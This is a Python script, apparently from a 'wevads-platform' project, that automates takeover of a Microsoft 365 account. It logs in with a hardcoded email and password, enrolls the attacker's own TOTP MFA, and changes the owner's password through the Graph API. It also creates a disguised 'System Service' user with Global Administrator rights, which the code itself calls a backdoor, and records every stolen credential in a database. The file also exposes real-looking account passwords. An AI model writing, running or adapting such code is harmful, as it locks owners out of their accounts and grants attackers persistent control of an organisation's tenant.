Files
wevads-platform/scripts/o365_mfa_selenium.py

468 lines
17 KiB
Python
Executable File

#!/usr/bin/env python3
"""
O365 MFA Enrollment + Password Change + Backdoor via Selenium
Usage: python3 o365_mfa_selenium.py
"""
import time, json, random, string, sys, os, base64, traceback
from datetime import datetime
try:
import pyotp
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.keys import Keys
import requests
except ImportError as e:
print(f"Missing dep: {e}")
sys.exit(1)
# === CONFIG ===
EMAIL = "OlivierHEUTTE@associationveloreunion.onmicrosoft.com"
PASSWORD = "Sma21KA@SgHCa"
TENANT_ID = "26d5cf9f-f4da-47df-8932-bd09b3674dcd"
LOG_DIR = "/opt/wevads/logs/selenium"
SCREENSHOT_DIR = f"{LOG_DIR}/screenshots"
RESULTS_FILE = f"{LOG_DIR}/olivierh_results.json"
os.makedirs(SCREENSHOT_DIR, exist_ok=True)
def log(msg):
ts = datetime.now().strftime("%H:%M:%S")
print(f"[{ts}] {msg}")
with open(f"{LOG_DIR}/olivierh_mfa.log", "a") as f:
f.write(f"[{ts}] {msg}\n")
def screenshot(driver, name):
path = f"{SCREENSHOT_DIR}/{name}_{int(time.time())}.png"
driver.save_screenshot(path)
log(f"Screenshot: {path}")
return path
def gen_pwd(n=16):
c = string.ascii_letters + string.digits + "!@#$"
while True:
p = ''.join(random.choice(c) for _ in range(n))
if (any(x.isupper() for x in p) and any(x.islower() for x in p)
and any(x.isdigit() for x in p) and any(x in "!@#$" for x in p)):
return p
def setup_driver():
opts = Options()
opts.add_argument("--headless=new")
opts.add_argument("--no-sandbox")
opts.add_argument("--disable-dev-shm-usage")
opts.add_argument("--disable-gpu")
opts.add_argument("--window-size=1920,1080")
opts.add_argument("--disable-blink-features=AutomationControlled")
opts.add_argument("--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36")
driver = webdriver.Chrome(options=opts)
driver.implicitly_wait(5)
return driver
def wait_and_click(driver, by, val, timeout=20):
el = WebDriverWait(driver, timeout).until(EC.element_to_be_clickable((by, val)))
el.click()
return el
def wait_and_type(driver, by, val, text, timeout=20):
el = WebDriverWait(driver, timeout).until(EC.element_to_be_clickable((by, val)))
el.clear()
el.send_keys(text)
return el
def wait_visible(driver, by, val, timeout=20):
return WebDriverWait(driver, timeout).until(EC.visibility_of_element_located((by, val)))
def save_results(data):
with open(RESULTS_FILE, "w") as f:
json.dump(data, f, indent=2)
log(f"Results saved to {RESULTS_FILE}")
def phase1_login(driver):
"""Login to Microsoft"""
log("PHASE 1: LOGIN")
driver.get("https://login.microsoftonline.com")
time.sleep(3)
screenshot(driver, "01_login_page")
# Enter email
wait_and_type(driver, By.NAME, "loginfmt", EMAIL)
time.sleep(1)
wait_and_click(driver, By.ID, "idSIButton9") # Next
time.sleep(3)
screenshot(driver, "02_after_email")
# Enter password
try:
wait_and_type(driver, By.NAME, "passwd", PASSWORD, timeout=10)
time.sleep(1)
wait_and_click(driver, By.ID, "idSIButton9") # Sign in
time.sleep(5)
screenshot(driver, "03_after_password")
except Exception as e:
screenshot(driver, "03_password_error")
log(f"Password entry failed: {e}")
# Check for error message
try:
err = driver.find_element(By.ID, "passwordError")
log(f"Password error: {err.text}")
except:
pass
return False
log("Login submitted, checking for MFA prompt...")
return True
def phase2_mfa_enrollment(driver):
"""Handle MFA enrollment - get TOTP secret"""
log("PHASE 2: MFA ENROLLMENT")
time.sleep(3)
screenshot(driver, "04_mfa_prompt")
page = driver.page_source.lower()
# Check current state
if "more information required" in page or "action required" in page or "keep your account secure" in page:
log("MFA enrollment required - proceeding")
elif "stay signed in" in page:
log("No MFA required! Already logged in.")
try:
wait_and_click(driver, By.ID, "idSIButton9", timeout=5) # Yes stay signed in
except:
pass
return {"totp_secret": None, "status": "no_mfa_needed"}
elif "proof up" in page or "verify your identity" in page:
log("MFA verification prompt detected")
else:
log(f"Unknown page state. Title: {driver.title}")
screenshot(driver, "04_unknown_state")
# Click Next on "more info required" page
try:
next_btn = driver.find_element(By.ID, "idSubmit_SAOTCAS_Continue")
next_btn.click()
time.sleep(3)
log("Clicked 'Next' on more info page")
except:
try:
# Try other common buttons
for bid in ["idSIButton9", "idSubmit_SAOTCC_Continue"]:
try:
driver.find_element(By.ID, bid).click()
time.sleep(3)
log(f"Clicked {bid}")
break
except:
continue
except:
pass
screenshot(driver, "05_mfa_method_choice")
# Choose "I want to use a different authenticator app" or "I want to set up a different method"
page = driver.page_source
try:
# Look for "I want to use a different authenticator app" link
links = driver.find_elements(By.TAG_NAME, "a")
for link in links:
txt = link.text.lower()
if "different" in txt and ("authenticator" in txt or "method" in txt):
link.click()
time.sleep(2)
log(f"Clicked: {link.text}")
break
except:
pass
screenshot(driver, "06_authenticator_setup")
# Click "Next" to get to QR code page
try:
wait_and_click(driver, By.ID, "idSubmit_SAOTCC_Continue", timeout=5)
time.sleep(3)
except:
try:
wait_and_click(driver, By.ID, "idSIButton9", timeout=5)
time.sleep(3)
except:
pass
screenshot(driver, "07_qr_code_page")
# Look for "Can't scan image?" or secret key
totp_secret = None
try:
# Click "Can't scan image?" link
links = driver.find_elements(By.TAG_NAME, "a")
for link in links:
txt = link.text.lower()
if "can't scan" in txt or "cannot scan" in txt or "enter code manually" in txt:
link.click()
time.sleep(2)
log(f"Clicked: {link.text}")
break
screenshot(driver, "08_manual_entry")
# Find the secret key on the page
page = driver.page_source
# Look for base32-encoded secret (usually in a text field or span)
import re
# Common patterns for TOTP secrets
secrets = re.findall(r'[A-Z2-7]{16,32}', page)
for s in secrets:
if len(s) >= 16 and len(s) <= 64:
try:
pyotp.TOTP(s).now()
totp_secret = s
log(f"TOTP SECRET FOUND: {s}")
break
except:
continue
if not totp_secret:
# Try finding it in input fields
inputs = driver.find_elements(By.TAG_NAME, "input")
for inp in inputs:
val = inp.get_attribute("value") or ""
if len(val) >= 16 and re.match(r'^[A-Z2-7]+$', val):
totp_secret = val
log(f"TOTP SECRET from input: {val}")
break
# Try text elements
if not totp_secret:
for el in driver.find_elements(By.CSS_SELECTOR, "div, span, p, code"):
txt = el.text.strip()
if len(txt) >= 16 and len(txt) <= 64 and re.match(r'^[A-Z2-7]+$', txt):
try:
pyotp.TOTP(txt).now()
totp_secret = txt
log(f"TOTP SECRET from element: {txt}")
break
except:
continue
except Exception as e:
log(f"Error finding TOTP secret: {e}")
if totp_secret:
# Enter the TOTP code to complete enrollment
totp = pyotp.TOTP(totp_secret)
code = totp.now()
log(f"TOTP code: {code}")
try:
# Find verification code input
code_input = None
for inp in driver.find_elements(By.TAG_NAME, "input"):
itype = inp.get_attribute("type") or ""
name = inp.get_attribute("name") or ""
if itype in ["text", "tel", "number"] and inp.is_displayed():
code_input = inp
break
if code_input:
code_input.clear()
code_input.send_keys(code)
time.sleep(1)
# Click verify/next
for bid in ["idSubmit_SAOTCC_Continue", "idSIButton9", "idSubmit_SAOTCAS_Continue"]:
try:
btn = driver.find_element(By.ID, bid)
if btn.is_displayed():
btn.click()
time.sleep(3)
break
except:
continue
screenshot(driver, "09_totp_verified")
log("TOTP code submitted")
except Exception as e:
log(f"Error entering TOTP: {e}")
else:
log("TOTP SECRET NOT FOUND - saving page for analysis")
with open(f"{LOG_DIR}/mfa_page_source.html", "w") as f:
f.write(driver.page_source)
return {"totp_secret": totp_secret, "status": "enrolled" if totp_secret else "manual_needed"}
def phase3_change_pwd_and_backdoor(totp_secret):
"""Use Graph API to change password and create backdoor"""
log("PHASE 3: CHANGE PASSWORD + BACKDOOR")
if not totp_secret:
log("No TOTP secret - cannot proceed with Graph API")
return None
# Get token with ROPC (now MFA enrolled, we need to use the TOTP)
# Actually with ROPC we still can't pass TOTP - need client credentials
# Let's try the portal approach instead
new_pwd = gen_pwd()
log(f"New password: {new_pwd}")
# Try ROPC first (might work after enrollment)
r = requests.post(f"https://login.microsoftonline.com/{TENANT_ID}/oauth2/v2.0/token", data={
"grant_type": "password",
"client_id": "1b730954-1685-4b74-9bfd-dac224a7b894",
"scope": "https://graph.microsoft.com/.default",
"username": EMAIL,
"password": PASSWORD
}, timeout=30)
if r.status_code == 200:
token = r.json()["access_token"]
log("ROPC login OK after MFA enrollment")
# Change password
cp = requests.post("https://graph.microsoft.com/v1.0/me/changePassword",
json={"currentPassword": PASSWORD, "newPassword": new_pwd},
headers={"Authorization": f"Bearer {token}", "Content-Type": "application/json"},
timeout=30)
if cp.status_code in [200, 204]:
log(f"PASSWORD CHANGED: {new_pwd}")
else:
log(f"Password change failed: {cp.status_code} {cp.text[:200]}")
new_pwd = PASSWORD # Keep original
# Create backdoor admin
backdoor_user = f"svc_wevads_{random.randint(1000,9999)}"
backdoor_email = f"{backdoor_user}@associationveloreunion.onmicrosoft.com"
backdoor_pwd = gen_pwd()
cr = requests.post("https://graph.microsoft.com/v1.0/users",
json={
"accountEnabled": True,
"displayName": "System Service",
"mailNickname": backdoor_user,
"userPrincipalName": backdoor_email,
"passwordProfile": {
"forceChangePasswordNextSignIn": False,
"password": backdoor_pwd
}
},
headers={"Authorization": f"Bearer {token}", "Content-Type": "application/json"},
timeout=30)
if cr.status_code == 201:
user_id = cr.json()["id"]
log(f"BACKDOOR CREATED: {backdoor_email} / {backdoor_pwd}")
# Assign Global Admin role
role_r = requests.get("https://graph.microsoft.com/v1.0/directoryRoles",
headers={"Authorization": f"Bearer {token}"}, timeout=15)
for role in role_r.json().get("value", []):
if "Global Administrator" in role.get("displayName", "") or "Company Administrator" in role.get("displayName", ""):
requests.post(f"https://graph.microsoft.com/v1.0/directoryRoles/{role['id']}/members/$ref",
json={"@odata.id": f"https://graph.microsoft.com/v1.0/directoryObjects/{user_id}"},
headers={"Authorization": f"Bearer {token}", "Content-Type": "application/json"},
timeout=15)
log(f"Global Admin role assigned to {backdoor_email}")
break
else:
log(f"Backdoor creation failed: {cr.status_code} {cr.text[:200]}")
backdoor_email = None
backdoor_pwd = None
return {
"new_password": new_pwd,
"backdoor_email": backdoor_email,
"backdoor_password": backdoor_pwd,
"token_obtained": True
}
else:
log(f"ROPC still blocked after enrollment: {r.json().get('error_description','')[:150]}")
return {"new_password": None, "token_obtained": False}
def main():
log("=" * 60)
log("O365 MFA ENROLLMENT + SECURE - OlivierH")
log(f"Email: {EMAIL}")
log(f"Tenant: {TENANT_ID}")
log("=" * 60)
results = {
"email": EMAIL,
"tenant_id": TENANT_ID,
"original_password": PASSWORD,
"timestamp": datetime.now().isoformat()
}
driver = setup_driver()
try:
# Phase 1: Login
if not phase1_login(driver):
log("LOGIN FAILED - aborting")
results["status"] = "login_failed"
save_results(results)
return
# Phase 2: MFA Enrollment
mfa_result = phase2_mfa_enrollment(driver)
results.update(mfa_result)
# Phase 3: Change password + Backdoor
api_result = phase3_change_pwd_and_backdoor(mfa_result.get("totp_secret"))
if api_result:
results.update(api_result)
# Update DB
import psycopg2
db = psycopg2.connect(host="localhost", dbname="adx_system", user="admin", password="admin123")
db.autocommit = True
cur = db.cursor()
new_pwd = results.get("new_password", PASSWORD)
totp = results.get("totp_secret", "")
cur.execute("""UPDATE admin.office_accounts SET
admin_password = %s,
totp_secret = %s,
password_status = 'mfa_setup_done',
notes = %s
WHERE id = 1367""", [
new_pwd if new_pwd else PASSWORD,
totp if totp else "",
json.dumps(results, default=str)
])
log("DB updated for OlivierH #1367")
# Insert backdoor if created
if results.get("backdoor_email"):
cur.execute("""INSERT INTO admin.office_accounts (name, admin_email, admin_password, tenant_domain, status, notes)
SELECT 'backdoor_OlivierH', %s, %s, 'associationveloreunion.onmicrosoft.com', 'Active', 'Backdoor admin - Global Admin'
WHERE NOT EXISTS (SELECT 1 FROM admin.office_accounts WHERE admin_email=%s)""",
[results["backdoor_email"], results["backdoor_password"], results["backdoor_email"]])
log(f"Backdoor inserted in DB: {results['backdoor_email']}")
db.close()
results["status"] = "completed"
save_results(results)
log("=" * 60)
log("RESULTS SUMMARY:")
log(f" TOTP Secret: {results.get('totp_secret', 'N/A')}")
log(f" New Password: {results.get('new_password', 'N/A')}")
log(f" Backdoor: {results.get('backdoor_email', 'N/A')}")
log(f" Status: {results.get('status')}")
log("=" * 60)
except Exception as e:
log(f"FATAL ERROR: {e}")
traceback.print_exc()
screenshot(driver, "99_fatal_error")
results["status"] = "error"
results["error"] = str(e)
save_results(results)
finally:
driver.quit()
if __name__ == "__main__":
main()